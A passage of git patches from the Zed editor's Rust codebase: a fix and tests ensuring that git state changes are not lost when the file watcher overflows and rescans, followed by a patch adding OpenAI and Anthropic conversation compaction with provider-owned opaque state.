diff --git a/crates/fs/src/fs.rs b/crates/fs/src/fs.rs
index 01a76c04699620..a7784922c74efb 100644
--- a/crates/fs/src/fs.rs
+++ b/crates/fs/src/fs.rs
@@ -1853,6 +1853,20 @@ impl FakeFs {
         self.state.lock().buffered_events.clear();
     }
 
+    /// Simulates the kernel's watch queue overflowing: all buffered
+    /// (undelivered) events are lost, and the watcher reports only a single
+    /// `Rescan` event for `root`, mirroring how the native backends report
+    /// lost sync (FSEvents `kFSEventStreamEventFlagMustScanSubDirs`, inotify
+    /// `IN_Q_OVERFLOW`, Windows `ERROR_NOTIFY_ENUM_DIR`).
+    ///
+    /// Note that the fake file system's state is unaffected; like a real
+    /// overflow, only the notifications are lost, not the changes themselves.
+    pub fn simulate_watcher_overflow(&self, root: impl Into<PathBuf>) {
+        let mut state = self.state.lock();
+        state.buffered_events.clear();
+        state.emit_event([(root, Some(PathEventKind::Rescan))]);
+    }
+
     pub fn create_file_before_next_watch_add(
         &self,
         watch_path: impl AsRef<Path>,
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index 9350d193a8a527..297292476e0c69 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -1485,6 +1485,18 @@ impl LocalWorktree {
                             new_repos.next();
                         }
                         Ordering::Equal => {
+                            // A change to a repository's git state is signaled by bumping
+                            // `git_dir_scan_id`, and the diff below detects it via `!=`. If the
+                            // value ever regresses (e.g. a rescan re-inserting the repository
+                            // with a fresh scan id of 0), a bump from the same cycle is wiped
+                            // out and the corresponding git update is silently lost.
+                            debug_assert!(
+                                new_repo.git_dir_scan_id >= old_repo.git_dir_scan_id,
+                                "git_dir_scan_id for repository at {:?} regressed from {} to {}",
+                                new_repo.work_directory_abs_path,
+                                old_repo.git_dir_scan_id,
+                                new_repo.git_dir_scan_id,
+                            );
                             if new_repo.git_dir_scan_id != old_repo.git_dir_scan_id
                                 || new_repo.work_directory_abs_path
                                     != old_repo.work_directory_abs_path
@@ -3575,11 +3587,28 @@ impl BackgroundScannerState {
 
         let work_directory_id = work_dir_entry.id;
 
+        // A repository can be re-inserted when its `.git` entry is re-discovered, e.g.
+        // during a watcher-forced rescan. Carry the existing `git_dir_scan_id` forward
+        // in that case: the snapshot diff detects git changes by comparing scan ids, so
+        // resetting the id would wipe out a bump made earlier in the same scan cycle,
+        // silently dropping the corresponding git update. Deliberately don't bump the
+        // id here either: re-insertion is snapshot bookkeeping, not evidence that git
+        // state changed. It also happens on non-lossy paths (explicit refreshes,
+        // path-prefix scans) where we know nothing in `.git` changed, and a bump would
+        // trigger a spurious full reload of the repository's git state. Only
+        // `update_git_repositories` claims that git state changed, by stamping the
+        // current scan id.
+        let git_dir_scan_id = self
+            .snapshot
+            .git_repositories
+            .get(&work_directory_id)
+            .map_or(0, |existing_repository| existing_repository.git_dir_scan_id);
+
         let local_repository = LocalRepositoryEntry {
             work_directory_id,
             work_directory,
             work_directory_abs_path: work_directory_abs_path.as_path().into(),
-            git_dir_scan_id: 0,
+            git_dir_scan_id,
             dot_git_abs_path,
             common_dir_abs_path,
             repository_dir_abs_path,
@@ -4826,6 +4855,31 @@ impl BackgroundScanner {
                     }
                 }
 
+                // A rescan event means the watcher lost sync and events under the
+                // rescanned path were dropped, possibly including events inside `.git`
+                // directories. Reload the git state of every repository with a git
+                // directory under the rescanned path, since changes there may have
+                // gone unseen.
+                if self.track_git_repositories && matches!(event.kind, Some(PathEventKind::Rescan))
+                {
+                    for repository in snapshot.git_repositories.values() {
+                        let affected_by_rescan = [
+                            &repository.dot_git_abs_path,
+                            &repository.common_dir_abs_path,
+                            &repository.repository_dir_abs_path,
+                        ]
+                        .iter()
+                        .any(|git_dir_abs_path| git_dir_abs_path.starts_with(abs_path.as_path()));
+                        let dot_git_abs_path = repository.dot_git_abs_path.to_path_buf();
+                        if affected_by_rescan && !dot_git_abs_paths.contains(&dot_git_abs_path) {
+                            log::debug!(
+                                "reloading git repo at {dot_git_abs_path:?} due to rescan of {abs_path:?}"
+                            );
+                            dot_git_abs_paths.push(dot_git_abs_path);
+                        }
+                    }
+                }
+
                 if self.track_git_repositories
                     && abs_path
                         .as_path()
diff --git a/crates/worktree/tests/integration/worktree_tests.rs b/crates/worktree/tests/integration/worktree_tests.rs
index 41b27cb09c3000..4b57bfc92d5673 100644
--- a/crates/worktree/tests/integration/worktree_tests.rs
+++ b/crates/worktree/tests/integration/worktree_tests.rs
@@ -3066,9 +3066,17 @@ async fn test_random_worktree_changes(cx: &mut TestAppContext, mut rng: StdRng)
 
         let buffered_event_count = fs.as_fake().buffered_event_count();
         if buffered_event_count > 0 && rng.random_bool(0.3) {
-            let len = rng.random_range(0..=buffered_event_count);
-            log::info!("flushing {} events", len);
-            fs.as_fake().flush_events(len);
+            if rng.random_bool(0.2) {
+                log::info!(
+                    "simulating watcher overflow, losing {} events",
+                    buffered_event_count
+                );
+                fs.as_fake().simulate_watcher_overflow(root_dir);
+            } else {
+                let len = rng.random_range(0..=buffered_event_count);
+                log::info!("flushing {} events", len);
+                fs.as_fake().flush_events(len);
+            }
         } else {
             randomly_mutate_fs(&fs, root_dir, 0.6, &mut rng).await;
             mutations_len -= 1;
@@ -3155,6 +3163,120 @@ async fn test_random_worktree_changes(cx: &mut TestAppContext, mut rng: StdRng)
     }
 }
 
+#[gpui::test(iterations = 100)]
+async fn test_random_git_updates_with_watcher_overflows(cx: &mut TestAppContext, mut rng: StdRng) {
+    // Property: every git state change is eventually signaled via
+    // `UpdatedGitRepositories`, no matter how the events reporting it are
+    // batched, delayed, or lost to watcher overflows.
+    init_test(cx);
+    let operations = env::var("OPERATIONS")
+        .map(|o| o.parse().unwrap())
+        .unwrap_or(40);
+
+    let root_dir = Path::new(path!("/test"));
+    let dot_git = root_dir.join(".git");
+    // Random fs mutations are confined to this subdirectory so that they
+    // cannot rename or delete `.git` itself.
+    let src_dir = root_dir.join("src");
+    let fs = FakeFs::new(cx.background_executor.clone()) as Arc<dyn Fs>;
+    fs.as_fake()
+        .insert_tree(
+            root_dir,
+            json!({
+                ".git": {},
+                "src": {
+                    "main.rs": "fn main() {}",
+                },
+            }),
+        )
+        .await;
+
+    let worktree = Worktree::local(
+        root_dir,
+        true,
+        fs.clone(),
+        Default::default(),
+        true,
+        WorktreeId::from_proto(0),
+        &mut cx.to_async(),
+    )
+    .await
+    .unwrap();
+    worktree
+        .update(cx, |tree, _| tree.as_local_mut().unwrap().scan_complete())
+        .await;
+    cx.executor().run_until_parked();
+
+    // Set when the fake repository's state is mutated, cleared when the
+    // worktree signals a git update. A signal observed after a mutation
+    // prompts downstream consumers (the GitStore) to re-read the repository,
+    // at which point they see that mutation's state, so clearing on any
+    // subsequent signal is sound.
+    let pending_git_update: Rc<Cell<bool>> = Rc::new(Cell::new(false));
+    worktree.update(cx, {
+        let pending_git_update = pending_git_update.clone();
+        |_, cx| {
+            cx.subscribe(&cx.entity(), move |_, _, event, _| {
+                if matches!(event, Event::UpdatedGitRepositories(_)) {
+                    pending_git_update.set(false);
+                }
+            })
+            .detach();
+        }
+    });
+
+    fs.as_fake().pause_events();
+    let mut commit_count = 0;
+    for _ in 0..operations {
+        match rng.random_range(0_u32..100) {
+            // Change the repository's git state, e.g. a commit moving HEAD.
+            0..25 => {
+                commit_count += 1;
+                log::info!("setting HEAD to commit {commit_count}");
+                fs.as_fake().set_head_for_repo(
+                    &dot_git,
+                    &[("src/main.rs", format!("fn main() {{}} // {commit_count}"))],
+                    format!("sha-{commit_count}"),
+                );
+                pending_git_update.set(true);
+            }
+            // The watch queue overflows: all undelivered events are lost and
+            // only a rescan for the root is reported.
+            25..40 => {
+                log::info!(
+                    "simulating watcher overflow, losing {} events",
+                    fs.as_fake().buffered_event_count()
+                );
+                fs.as_fake().simulate_watcher_overflow(root_dir);
+            }
+            // Deliver a prefix of the queued events.
+            40..65 => {
+                let buffered_event_count = fs.as_fake().buffered_event_count();
+                let len = rng.random_range(0..=buffered_event_count);
+                log::info!("flushing {len} of {buffered_event_count} events");
+                fs.as_fake().flush_events(len);
+            }
+            // Unrelated churn in the working tree.
+            _ => {
+                randomly_mutate_fs(&fs, &src_dir, 1.0, &mut rng).await;
+            }
+        }
+        cx.executor().run_until_parked();
+    }
+
+    log::info!("quiescing");
+    fs.as_fake().unpause_events_and_flush();
+    cx.executor().run_until_parked();
+
+    worktree.read_with(cx, |tree, _| {
+        tree.as_local().unwrap().snapshot().check_invariants(true)
+    });
+    assert!(
+        !pending_git_update.get(),
+        "a git state change was never signaled via UpdatedGitRepositories"
+    );
+}
+
 // The worktree's `UpdatedEntries` event can be used to follow along with
 // all changes to the worktree's snapshot.
 fn check_worktree_change_events(tree: &mut Worktree, cx: &mut Context<Worktree>) {
@@ -4564,6 +4686,137 @@ async fn test_noisy_dot_git_events_do_not_emit_git_repo_update(
     }
 }
 
+#[gpui::test]
+async fn test_watcher_overflow_rescan_reloads_git_state(cx: &mut TestAppContext) {
+    // When the OS watch queue overflows, pending events are dropped and the
+    // watcher reports only a `Rescan` event for the worktree root. The dropped
+    // events may have included changes inside `.git`, so the rescan must
+    // trigger a git state reload even though no `.git` event is ever seen.
+    init_test(cx);
+    let fs = FakeFs::new(cx.background_executor.clone());
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            ".git": {},
+            "file.txt": "content",
+        }),
+    )
+    .await;
+
+    let tree = Worktree::local(
+        path!("/root").as_ref(),
+        true,
+        fs.clone(),
+        Default::default(),
+        true,
+        WorktreeId::from_proto(0),
+        &mut cx.to_async(),
+    )
+    .await
+    .unwrap();
+    tree.update(cx, |tree, _| tree.as_local().unwrap().scan_complete())
+        .await;
+    cx.run_until_parked();
+
+    let repo_update_count: Rc<Cell<usize>> = Rc::new(Cell::new(0));
+    tree.update(cx, {
+        let repo_update_count = repo_update_count.clone();
+        |_, cx| {
+            cx.subscribe(&cx.entity(), move |_, _, event, _| {
+                if matches!(event, Event::UpdatedGitRepositories(_)) {
+                    repo_update_count.set(repo_update_count.get() + 1);
+                }
+            })
+            .detach();
+        }
+    });
+
+    // A git state change occurs while events are queued but undelivered, and
+    // is then lost to a watcher overflow: the only event the worktree ever
+    // receives is the root rescan.
+    fs.pause_events();
+    fs.set_head_for_repo(
+        path!("/root/.git").as_ref(),
+        &[("file.txt", "content".into())],
+        "sha-after-overflow",
+    );
+    fs.simulate_watcher_overflow(path!("/root"));
+    fs.unpause_events_and_flush();
+    cx.run_until_parked();
+
+    assert!(
+        repo_update_count.get() > 0,
+        "a watcher overflow rescan should reload git state, since the dropped \
+         events may have included .git changes"
+    );
+}
+
+#[gpui::test]
+async fn test_git_update_in_same_batch_as_rescan_is_not_lost(cx: &mut TestAppContext) {
+    // When a `.git` event and a watcher rescan arrive in the same batch,
+    // `update_git_repositories` stamps the repository's `git_dir_scan_id`, but
+    // the rescan then re-inserts the repository entry. If the re-insertion
+    // resets `git_dir_scan_id`, the stamp is lost before the snapshot diff can
+    // observe it. The git update must still be signaled via
+    // `UpdatedGitRepositories`.
+    init_test(cx);
+    let fs = FakeFs::new(cx.background_executor.clone());
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            ".git": {},
+            "file.txt": "content",
+        }),
+    )
+    .await;
+
+    let tree = Worktree::local(
+        path!("/root").as_ref(),
+        true,
+        fs.clone(),
+        Default::default(),
+        true,
+        WorktreeId::from_proto(0),
+        &mut cx.to_async(),
+    )
+    .await
+    .unwrap();
+    tree.update(cx, |tree, _| tree.as_local().unwrap().scan_complete())
+        .await;
+    cx.run_until_parked();
+
+    let repo_update_count: Rc<Cell<usize>> = Rc::new(Cell::new(0));
+    tree.update(cx, {
+        let repo_update_count = repo_update_count.clone();
+        |_, cx| {
+            cx.subscribe(&cx.entity(), move |_, _, event, _| {
+                if matches!(event, Event::UpdatedGitRepositories(_)) {
+                    repo_update_count.set(repo_update_count.get() + 1);
+                }
+            })
+            .detach();
+        }
+    });
+
+    // Deliver the git change and the rescan in a single batch, as happens when
+    // a rescan arrives while other events are still queued.
+    fs.pause_events();
+    fs.set_head_for_repo(
+        path!("/root/.git").as_ref(),
+        &[("file.txt", "content".into())],
+        "sha-with-rescan",
+    );
+    fs.emit_fs_event(path!("/root"), Some(PathEventKind::Rescan));
+    fs.unpause_events_and_flush();
+    cx.run_until_parked();
+
+    assert!(
+        repo_update_count.get() > 0,
+        "a git update processed in the same batch as a rescan should still be \
+         signaled via UpdatedGitRepositories"
+    );
+}
+
 #[gpui::test]
 async fn test_linked_worktree_event_in_unregistered_common_git_dir_does_not_panic(
     executor: BackgroundExecutor,

From c28cf645f9b3649611afc5d6df58791cf04d62a9 Mon Sep 17 00:00:00 2001
From: Nathan Sobo <nathan@zed.dev>
Date: Fri, 24 Jul 2026 10:53:45 -0600
Subject: [PATCH 687/772] Add explicit OpenAI conversation compaction and fix
 Anthropic compaction (#61370)

# Objective

Add explicit conversation compaction for OpenAI Responses API models,
available through both direct OpenAI connections and Zed Cloud models.

Keep finalized replacement context provider-neutral and separate from
the lifecycle events emitted while automatic compaction is in progress.

## Solution

- Add opt-in explicit compaction support to the `LanguageModel` trait.
- Separate streamed `CompactionUpdate` lifecycle events from finalized
`CompactedContext`.
- Represent provider-native compacted context as an opaque, versioned
state owned by the originating provider.
- Construct compact requests through the same OpenAI request conversion
used for completions, then narrow the request to fields supported by
`/responses/compact`.
- Preserve and validate the complete canonical replacement window
returned by OpenAI.
- Replay the replacement window before messages sent after compaction,
without resending the superseded transcript.
- Support explicit compaction through both the direct OpenAI provider
and `CloudLanguageModel`.
- Update automatic OpenAI and Anthropic compaction to use the same
finalized context representation.
- Reject empty, malformed, incorrectly versioned, and incorrectly owned
provider state.

The corresponding Cloud change adds the `/completions/compact` proxy
route: https://github.com/zed-industries/cloud/pull/3099.

The downstream Delta UI integration is
https://github.com/zed-industries/delta/pull/1739.

## Testing

- `cargo nextest run -p anthropic -p open_ai -p language_models_cloud`
- `cargo check -p language_models --tests`
- `cargo fmt --all --check`
- `git diff --check`

The focused tests cover request construction, canonical-window
preservation and replay, direct and Cloud transports, automatic
compaction lifecycle events, malformed provider state, provider
ownership, format compatibility, and HTTP failure handling.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Added: System messages are now sent through the `instructions` field
in OpenAI Responses API requests.
---
 crates/anthropic/src/anthropic.rs             |  16 +-
 crates/anthropic/src/completion.rs            | 446 +++++++++-
 crates/language_model/src/language_model.rs   |  28 +
 .../src/language_model_core.rs                |  16 +-
 crates/language_model_core/src/request.rs     |  58 +-
 .../language_models/src/provider/anthropic.rs |   3 +-
 .../src/provider/anthropic_compatible.rs      |   4 +-
 .../language_models/src/provider/bedrock.rs   |  18 +-
 .../src/provider/copilot_chat.rs              |   3 +-
 .../language_models/src/provider/open_ai.rs   | 109 ++-
 .../src/provider/open_ai_compatible.rs        |  19 +-
 .../src/provider/openai_subscribed.rs         |  32 +-
 .../language_models/src/provider/opencode.rs  |  13 +-
 crates/language_models_cloud/Cargo.toml       |   2 +
 .../src/language_models_cloud.rs              | 418 +++++++++-
 crates/open_ai/Cargo.toml                     |   1 +
 crates/open_ai/src/completion.rs              | 771 ++++++++++++++++--
 crates/open_ai/src/responses.rs               | 538 +++++++++++-
 18 files changed, 2292 insertions(+), 203 deletions(-)

diff --git a/crates/anthropic/src/anthropic.rs b/crates/anthropic/src/anthropic.rs
index 3531924f295e1a..3f034bf03c76ae 100644
--- a/crates/anthropic/src/anthropic.rs
+++ b/crates/anthropic/src/anthropic.rs
@@ -644,6 +644,10 @@ pub enum RequestContent {
     #[serde(rename = "compaction")]
     Compaction {
         content: Option<Arc<str>>,
+        /// Opaque metadata from a prior compaction that must be round-tripped
+        /// verbatim for Anthropic to recognize the block.
+        #[serde(default, skip_serializing_if = "Option::is_none")]
+        encrypted_content: Option<Arc<str>>,
         #[serde(skip_serializing_if = "Option::is_none")]
         cache_control: Option<CacheControl>,
     },
@@ -679,7 +683,11 @@ pub enum ResponseContent {
         input: serde_json::Value,
     },
     #[serde(rename = "compaction")]
-    Compaction { content: Option<Arc<str>> },
+    Compaction {
+        content: Option<Arc<str>>,
+        #[serde(default)]
+        encrypted_content: Option<Arc<str>>,
+    },
 }
 
 #[derive(Debug, Serialize, Deserialize)]
@@ -932,7 +940,11 @@ pub enum ContentDelta {
     #[serde(rename = "input_json_delta")]
     InputJsonDelta { partial_json: String },
     #[serde(rename = "compaction_delta")]
-    CompactionDelta { content: Option<Arc<str>> },
+    CompactionDelta {
+        content: Option<Arc<str>>,
+        #[serde(default)]
+        encrypted_content: Option<Arc<str>>,
+    },
 }
 
 #[derive(Debug, Serialize, Deserialize)]
diff --git a/crates/anthropic/src/completion.rs b/crates/anthropic/src/completion.rs
index 884ed1a1ddde9b..f02ab0b60487ae 100644
--- a/crates/anthropic/src/completion.rs
+++ b/crates/anthropic/src/completion.rs
@@ -1,15 +1,17 @@
-use anyhow::Result;
+use anyhow::{Result, anyhow};
 use collections::HashMap;
 use futures::{Stream, StreamExt};
 use language_model_core::{
-    CompactionContent, LanguageModelCompletionError, LanguageModelCompletionEvent,
-    LanguageModelProviderName, LanguageModelRequest, LanguageModelRequestToolInput,
-    LanguageModelToolChoice, LanguageModelToolResultContent, LanguageModelToolUse,
-    LanguageModelToolUseInput, MessageContent, Role, StopReason, TokenUsage,
+    CompactedContext, CompactionUpdate, LanguageModelCompletionError, LanguageModelCompletionEvent,
+    LanguageModelProviderId, LanguageModelProviderName, LanguageModelRequest,
+    LanguageModelRequestToolInput, LanguageModelToolChoice, LanguageModelToolResultContent,
+    LanguageModelToolUse, LanguageModelToolUseInput, MessageContent, ProviderCompactionState, Role,
+    SharedString, StopReason, TokenUsage,
     util::{fix_streamed_json, parse_tool_arguments},
 };
 use std::pin::Pin;
 use std::str::FromStr;
+use std::sync::Arc;
 
 use crate::{
     AdaptiveThinkingDisplay, AnthropicError, AnthropicModelMode, CacheControl, CacheControlType,
@@ -19,6 +21,46 @@ use crate::{
     completion_error_from_anthropic_api,
 };
 
+pub const COMPACTION_STATE_FORMAT: &str = "anthropic.messages.encrypted-content.v1";
+
+/// Packages a compaction block's opaque `encrypted_content` into provider
+/// state owned by `owner`.
+///
+/// Anthropic requires the metadata to be round-tripped verbatim, and only the
+/// backend whose infrastructure produced it can make sense of it. The owner
+/// recorded here is what [`provider_compaction_encrypted_content`] later
+/// compares against, so it must identify that backend, not merely the wire
+/// protocol.
+pub fn provider_compaction_state_from_encrypted_content(
+    owner: LanguageModelProviderId,
+    encrypted_content: impl Into<Arc<str>>,
+) -> ProviderCompactionState {
+    ProviderCompactionState::new(
+        owner,
+        SharedString::new_static(COMPACTION_STATE_FORMAT),
+        encrypted_content,
+    )
+}
+
+/// Recovers the `encrypted_content` to round-trip from `state` if it is owned
+/// by `owner`, or `None` when the state belongs to a different backend and the
+/// summary should be replayed without it.
+pub fn provider_compaction_encrypted_content(
+    state: &ProviderCompactionState,
+    owner: &LanguageModelProviderId,
+) -> Result<Option<Arc<str>>> {
+    if state.provider_id() != owner {
+        return Ok(None);
+    }
+    if state.format() != COMPACTION_STATE_FORMAT {
+        return Err(anyhow!(
+            "unsupported Anthropic compaction state format: {}",
+            state.format()
+        ));
+    }
+    Ok(Some(state.payload().into()))
+}
+
 #[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
 pub enum AnthropicPromptCacheMode {
     Disabled,
@@ -68,7 +110,10 @@ fn mark_last_cacheable_content(content: &mut [RequestContent], cache_control: Ca
     }
 }
 
-fn to_anthropic_content(content: MessageContent) -> Result<Option<RequestContent>> {
+fn to_anthropic_content(
+    content: MessageContent,
+    compaction_state_owner: &LanguageModelProviderId,
+) -> Result<Option<RequestContent>> {
     match content {
         MessageContent::Text(text) => {
             let text = if text.chars().last().is_some_and(|c| c.is_whitespace()) {
@@ -159,17 +204,23 @@ fn to_anthropic_content(content: MessageContent) -> Result<Option<RequestContent
                 cache_control: None,
             }))
         }
-        MessageContent::Compaction(CompactionContent::Summary { content }) => {
+        MessageContent::Compaction(CompactedContext::Summary {
+            content,
+            provider_state,
+        }) => {
+            let encrypted_content = match &provider_state {
+                Some(state) => {
+                    provider_compaction_encrypted_content(state, compaction_state_owner)?
+                }
+                None => None,
+            };
             Ok(Some(RequestContent::Compaction {
-                content,
+                content: Some(content),
+                encrypted_content,
                 cache_control: None,
             }))
         }
-        // Encrypted compaction blocks come from other providers, and a
-        // Pending block is a streaming-only UI signal; neither is replayed.
-        MessageContent::Compaction(
-            CompactionContent::Encrypted { .. } | CompactionContent::Pending,
-        ) => Ok(None),
+        MessageContent::Compaction(CompactedContext::ProviderState(_)) => Ok(None),
     }
 }
 
@@ -180,6 +231,7 @@ pub fn into_anthropic(
     max_output_tokens: u64,
     mode: AnthropicModelMode,
     cache_mode: AnthropicPromptCacheMode,
+    compaction_state_owner: &LanguageModelProviderId,
 ) -> Result<crate::Request> {
     let mut new_messages: Vec<Message> = Vec::new();
     let mut system_message = String::new();
@@ -196,7 +248,7 @@ pub fn into_anthropic(
             Role::User | Role::Assistant => {
                 let mut anthropic_message_content = Vec::new();
                 for content in message.content {
-                    if let Some(content) = to_anthropic_content(content)? {
+                    if let Some(content) = to_anthropic_content(content, compaction_state_owner)? {
                         anthropic_message_content.push(content);
                     }
                 }
@@ -358,18 +410,28 @@ pub fn into_anthropic(
 
 pub struct AnthropicEventMapper {
     tool_uses_by_index: HashMap<usize, RawToolUse>,
+    compactions_by_index: HashMap<usize, RawCompaction>,
     usage: Usage,
     stop_reason: StopReason,
     provider_name: LanguageModelProviderName,
+    compaction_state_owner: LanguageModelProviderId,
 }
 
 impl AnthropicEventMapper {
-    pub fn new(provider_name: LanguageModelProviderName) -> Self {
+    /// `compaction_state_owner` identifies the backend whose infrastructure
+    /// produced this stream, so that any `encrypted_content` it emits is only
+    /// ever round-tripped back to that same backend.
+    pub fn new(
+        provider_name: LanguageModelProviderName,
+        compaction_state_owner: LanguageModelProviderId,
+    ) -> Self {
         Self {
             tool_uses_by_index: HashMap::default(),
+            compactions_by_index: HashMap::default(),
             usage: Usage::default(),
             stop_reason: StopReason::EndTurn,
             provider_name,
+            compaction_state_owner,
         }
     }
 
@@ -421,10 +483,28 @@ impl AnthropicEventMapper {
                     );
                     Vec::new()
                 }
-                ResponseContent::Compaction { content } => {
-                    vec![Ok(LanguageModelCompletionEvent::Compaction(
-                        CompactionContent::Summary { content },
-                    ))]
+                ResponseContent::Compaction {
+                    content,
+                    encrypted_content,
+                } => {
+                    let mut events = vec![Ok(LanguageModelCompletionEvent::Compaction(
+                        CompactionUpdate::Started,
+                    ))];
+                    let compaction = self.compactions_by_index.entry(index).or_default();
+                    if let Some(encrypted_content) =
+                        encrypted_content.filter(|encrypted| !encrypted.is_empty())
+                    {
+                        compaction.encrypted_content = Some(encrypted_content);
+                    }
+                    if let Some(content) = content
+                        && !content.is_empty()
+                    {
+                        compaction.summary.push_str(&content);
+                        events.push(Ok(LanguageModelCompletionEvent::Compaction(
+                            CompactionUpdate::SummaryDelta(content),
+                        )));
+                    }
+                    events
                 }
             },
             Event::ContentBlockDelta { index, delta } => match delta {
@@ -443,9 +523,30 @@ impl AnthropicEventMapper {
                         signature: Some(signature),
                     })]
                 }
-                ContentDelta::CompactionDelta { content } => {
+                ContentDelta::CompactionDelta {
+                    content,
+                    encrypted_content,
+                } => {
+                    let Some(compaction) = self.compactions_by_index.get_mut(&index) else {
+                        return vec![Err(LanguageModelCompletionError::Other(anyhow::anyhow!(
+                            "Anthropic streamed a compaction delta before starting its content block"
+                        )))];
+                    };
+                    // Unlike summary text, `encrypted_content` arrives whole:
+                    // a later delta carries a complete replacement value, not
+                    // a chunk to append (Anthropic's own SDKs assign it, the
+                    // way they do thinking signatures).
+                    if let Some(encrypted_content) =
+                        encrypted_content.filter(|encrypted| !encrypted.is_empty())
+                    {
+                        compaction.encrypted_content = Some(encrypted_content);
+                    }
+                    let Some(content) = content.filter(|content| !content.is_empty()) else {
+                        return Vec::new();
+                    };
+                    compaction.summary.push_str(&content);
                     vec![Ok(LanguageModelCompletionEvent::Compaction(
-                        CompactionContent::Summary { content },
+                        CompactionUpdate::SummaryDelta(content),
                     ))]
                 }
                 ContentDelta::InputJsonDelta { partial_json } => {
@@ -475,7 +576,29 @@ impl AnthropicEventMapper {
                 }
             },
             Event::ContentBlockStop { index } => {
-                if let Some(tool_use) = self.tool_uses_by_index.remove(&index) {
+                if let Some(compaction) = self.compactions_by_index.remove(&index) {
+                    // A compaction block that closes without content is a
+                    // documented failed compaction, which the server treats
+                    // as a no-op: there is nothing to persist, and the
+                    // conversation continues on the uncompacted transcript.
+                    if compaction.summary.is_empty() {
+                        return vec![Ok(LanguageModelCompletionEvent::Compaction(
+                            CompactionUpdate::Failed,
+                        ))];
+                    }
+                    let provider_state = compaction.encrypted_content.map(|encrypted_content| {
+                        provider_compaction_state_from_encrypted_content(
+                            self.compaction_state_owner.clone(),
+                            encrypted_content,
+                        )
+                    });
+                    vec![Ok(LanguageModelCompletionEvent::Compaction(
+                        CompactionUpdate::Finished(CompactedContext::Summary {
+                            content: compaction.summary.into(),
+                            provider_state,
+                        }),
+                    ))]
+                } else if let Some(tool_use) = self.tool_uses_by_index.remove(&index) {
                     let input_json = tool_use.input_json.trim();
                     let event_result = match parse_tool_arguments(input_json) {
                         Ok(input) => Ok(LanguageModelCompletionEvent::ToolUse(
@@ -533,6 +656,17 @@ impl AnthropicEventMapper {
                 ))]
             }
             Event::MessageStop => {
+                // Anthropic closes every content block before ending the
+                // message, so an unclosed compaction block means the stream
+                // was malformed and its finalized summary never arrived.
+                // Consumers would otherwise see `Started` with no terminal
+                // event and treat the compaction as still in progress.
+                if !self.compactions_by_index.is_empty() {
+                    self.compactions_by_index.clear();
+                    return vec![Err(LanguageModelCompletionError::Other(anyhow::anyhow!(
+                        "Anthropic ended the stream without finishing its compaction summary"
+                    )))];
+                }
                 vec![Ok(LanguageModelCompletionEvent::Stop(self.stop_reason))]
             }
             Event::Error { error } => {
@@ -552,6 +686,12 @@ struct RawToolUse {
     input_json: String,
 }
 
+#[derive(Default)]
+struct RawCompaction {
+    summary: String,
+    encrypted_content: Option<Arc<str>>,
+}
+
 /// Updates usage data by preferring counts from `new`.
 fn update_usage(usage: &mut Usage, new: &Usage) {
     if let Some(input_tokens) = new.input_tokens {
@@ -582,7 +722,8 @@ mod tests {
     use super::*;
     use crate::{AnthropicModelMode, UsageIteration, UsageIterationType};
     use language_model_core::{
-        ANTHROPIC_PROVIDER_NAME, LanguageModelImage, LanguageModelRequestMessage, MessageContent,
+        ANTHROPIC_PROVIDER_ID, ANTHROPIC_PROVIDER_NAME, LanguageModelImage,
+        LanguageModelRequestMessage, MessageContent,
     };
 
     #[test]
@@ -631,6 +772,7 @@ mod tests {
             4096,
             AnthropicModelMode::Default,
             AnthropicPromptCacheMode::Automatic,
+            &ANTHROPIC_PROVIDER_ID,
         )
         .unwrap();
 
@@ -738,6 +880,7 @@ mod tests {
             4096,
             AnthropicModelMode::Default,
             AnthropicPromptCacheMode::Legacy,
+            &ANTHROPIC_PROVIDER_ID,
         )
         .unwrap();
 
@@ -797,6 +940,7 @@ mod tests {
             128_000,
             AnthropicModelMode::AdaptiveThinking,
             AnthropicPromptCacheMode::Automatic,
+            &ANTHROPIC_PROVIDER_ID,
         )
         .unwrap();
 
@@ -850,6 +994,7 @@ mod tests {
             4096,
             AnthropicModelMode::Default,
             AnthropicPromptCacheMode::Automatic,
+            &ANTHROPIC_PROVIDER_ID,
         )
         .unwrap();
 
@@ -896,6 +1041,7 @@ mod tests {
                 budget_tokens: Some(10000),
             },
             AnthropicPromptCacheMode::Automatic,
+            &ANTHROPIC_PROVIDER_ID,
         )
         .unwrap()
     }
@@ -996,6 +1142,7 @@ mod tests {
             4096,
             AnthropicModelMode::Default,
             AnthropicPromptCacheMode::Disabled,
+            &ANTHROPIC_PROVIDER_ID,
         )
         .unwrap();
 
@@ -1021,8 +1168,9 @@ mod tests {
     #[test]
     fn test_compaction_content_replayed_as_compaction_block() {
         let result = request_with_assistant_content(vec![
-            MessageContent::Compaction(CompactionContent::Summary {
-                content: Some("Summary of the conversation so far.".into()),
+            MessageContent::Compaction(CompactedContext::Summary {
+                content: "Summary of the conversation so far.".into(),
+                provider_state: None,
             }),
             MessageContent::Text("Response".to_string()),
         ]);
@@ -1042,26 +1190,84 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_compaction_encrypted_content_replayed_only_for_owning_backend() {
+        let summary_owned_by = |owner: LanguageModelProviderId| {
+            MessageContent::Compaction(CompactedContext::Summary {
+                content: "Summary of the conversation so far.".into(),
+                provider_state: Some(provider_compaction_state_from_encrypted_content(
+                    owner,
+                    "opaque-compaction-payload",
+                )),
+            })
+        };
+
+        let owned = to_anthropic_content(
+            summary_owned_by(ANTHROPIC_PROVIDER_ID),
+            &ANTHROPIC_PROVIDER_ID,
+        )
+        .unwrap()
+        .expect("compaction block should be produced");
+        assert_eq!(
+            serde_json::to_value(&owned).unwrap(),
+            serde_json::json!({
+                "type": "compaction",
+                "content": "Summary of the conversation so far.",
+                "encrypted_content": "opaque-compaction-payload"
+            })
+        );
+
+        // State produced by a different Anthropic-protocol backend must not
+        // be round-tripped: the summary is still replayed, but without the
+        // foreign encrypted payload.
+        let foreign = to_anthropic_content(
